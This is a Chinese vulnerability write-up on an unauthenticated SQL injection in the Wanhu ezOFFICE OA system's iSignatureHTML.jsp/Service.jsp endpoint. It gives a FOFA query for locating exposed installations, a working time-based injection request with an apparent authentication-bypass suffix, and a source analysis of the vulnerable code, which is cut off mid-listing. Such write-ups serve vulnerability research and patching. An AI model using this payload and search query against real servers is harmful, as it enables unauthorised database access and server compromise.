0x01 产品简介
万户OA ezoffice 是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。
0x02 漏洞概述
万户 ezOFFICE public/iSignatureHTML.jsp/Service.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。
0x03 复现环境
本地环境 OR FOFA:app="ezOFFICE协同管理平台" || app="万户ezOFFICE协同管理平台" || app="万户网络-ezOFFICE"
漏洞复现
GET /defaultroot/public/iSignatureHTML.jsp/Service.jsp;.js?COMMAND=SAVESIGNATURE&DOCUMENTID=1&EXTPARAM=1&SIGNATURE=1&SIGNATUREID='waitfor+delay'0:0:4'--&USERNAME=admin+HTTP/1.1
Host: ezoffice.mrxn.net
成功延时 4 秒
漏洞分析
关于鉴权绕过,参考这篇文章:万户 ezOFFICE ajax_checkUserNum.jsp SQL注入漏洞
public/iSignatureHTML.jsp/Service.jsp 主要业务逻辑代码如下,非常简单!
SAVESIGNATURE
<%
mCommand=request.getParameter("COMMAND");
mUserName=new String(request.getParameter("USERNAME").getBytes("8859_1"));
mExtParam=new String(request.getParameter("EXTPARAM").getBytes("8859_1"));
......
if(mCommand.equalsIgnoreCase("SAVESIGNATURE")){ //保存签章数据信息
mDocumentID=new String(request.getParameter("DOCUMENTID").getBytes("8859_1"));
mSignatureID=new String(request.getParameter("SIGNATUREID").getBytes("8859_1"));
mSignature=new String(request.getParameter("SIGNATURE").getBytes("8859_1"));
//System.out.println("Signature:"+mSignature);
if (ObjConnBean.OpenConnection()){
strSql="SELECT * from HTMLSignature Where SignatureID='"+mSignatureID+"' and DocumentID='"+mDocumentID+"'";
ResultSet rs = null;
rs = ObjConnBean.ExecuteQuery(strSql);
if (rs.next()) {
strSql = "update HTMLSignature set DocumentID='"+mDocumentID+"',SIGNATUREID='"+mSignatureID+"',Signature='"+mSignature+"'";
strSql = strSql + " Where SignatureID='"+mSignatureID+"' and DocumentID='"+mDocumentID+"'";
ObjConnBean.ExecuteUpdate(strSql);
}else{
java.sql.PreparedStatement prestmt=null;
try{
//取得唯一值(mSignature)
java.util.Date dt=new java.util.Date();
long lg=dt.getTime();
Long ld=new Long(lg);
mSignatureID=ld.toString();
String Sql="insert into HTMLSignature (DocumentID,SignatureID,Signature) values (?,?,?) ";
prestmt=ObjConnBean.Conn.prepareStatement(Sql);
prestmt.setString(1, mDocumentID);
prestmt.setString(2, mSignatureID);
prestmt.setString(3, mSignature);
ObjConnBean.Conn.setAutoCommit(true);
prestmt.execute();
//ObjConnBean.Conn.commit();
prestmt.close();
mResult=true;
}
catch(SQLException e){
System.out.println("保存签章错误:"+e.toString());
mResult=false;
}
}
ObjConnBean.CloseConnection();
}
out.clear();
out.print("SIGNATUREID="+mSignatureID+"\r\n");
out.print("RESULT=OK");
如果 COMMAND 等于 SAVESIGNATURE,则直接将 DOCUMENTID、SIGNATUREID 拼接进SQL语句,造成SQL注入漏洞,就是这么朴实无华!
同时其他几处也存在类似的问题
DELESIGNATURE
if(mCommand.equalsIgnoreCase("DELESIGNATURE")){ //删除签章数据信息
mDocumentID=request.getParameter("DOCUMENTID");
mSignatureID=request.getParameter("SIGNATUREID");
if (ObjConnBean.OpenConnection()){
strSql="SELECT * from HTMLSignature Where SignatureID='"+mSignatureID+"' and DocumentID='"+mDocumentID+"'";
ResultSet rs=null;
rs = ObjConnBean.ExecuteQuery(strSql);
if(rs.next()){
try{
strSql="DELETE from HTMLSignature Where SignatureID='"+mSignatureID+"' and DocumentID='"+mDocumentID+"'";
ObjConnBean.ExecuteUpdate(strSql);
}
catch(Exception ex){
out.println(ex.toString());
}
}
ObjConnBean.CloseConnection();
}
out.clear();
out.print("RESULT=OK");
}
LOADSIGNATURE
if(mCommand.equalsIgnoreCase("LOADSIGNATURE")){ //调入签章数据信息
mDocumentID=request.getParameter("DOCUMENTID");
mSignatureID=request.getParameter("SIGNATUREID");
mDocumentID=com.whir.component.security.crypto.EncryptUtil.sqlcode(mDocumentID);
mSignatureID=com.whir.component.security.crypto.EncryptUtil.sqlcode(mSignatureID);
if (ObjConnBean.OpenConnection()){
strSql="SELECT * from HTMLSignature Where SignatureID='"+mSignatureID+"' and DocumentID='"+mDocumentID+"'";
ResultSet rs=null;
rs = ObjConnBean.ExecuteQuery(strSql);
if(rs.next()){
mSignature=rs.getString("Signature");
}
ObjConnBean.CloseConnection();
}
out.clear();
out.print(mSignature+"\r\n");
out.print("RESULT=OK");
}
SHOWSIGNATURE
if(mCommand.equalsIgnoreCase("SHOWSIGNATURE")){ //获取当前签章SignatureID,调出SignatureID,再自动调LOADSIGNATURE数据
mSignatures="";
mDocumentID=request.getParameter("DOCUMENTID");
mDocumentID=com.whir.component.security.crypto.EncryptUtil.sqlcode(mDocumentID);
if (ObjConnBean.OpenConnection()){
strSql="SELECT * from HTMLSignature Where DocumentID='"+mDocumentID + "'";
ResultSet rs=null;
rs = ObjConnBean.ExecuteQuery(strSql);
while(rs.next()){
mSignatures=mSignatures+rs.getString("SignatureID")+";";
}
ObjConnBean.CloseConnection();
}
out.clear();
out.print("SIGNATURES="+mSignatures+"\r\n");
out.print("RESULT=OK");
}
GETSIGNATUREDATA
if(mCommand.equalsIgnoreCase("GETSIGNATUREDATA")){ //批量签章时,获取所要保护的数据
String mSignatureData="";
mDocumentID=request.getParameter("DOCUMENTID");
System.out.println(new String(request.getParameter("FIELDSLIST").getBytes("8859_1")) );
System.out.println(request.getParameter("FIELDSNAME"));
if (ObjConnBean.OpenConnection()){
strSql="SELECT XYBH,BMJH,JF,YF,HZNR,QLZR,CPMC,DGSL,DGRQ from HTMLDocument Where DocumentID='"+mDocumentID + "'";
ResultSet rs=null;
rs = ObjConnBean.ExecuteQuery(strSql);
最后
其他万户OA 相关漏洞
万户 ezOFFICE selectAmountField.jsp SQL注入漏洞
万户OA系列漏洞



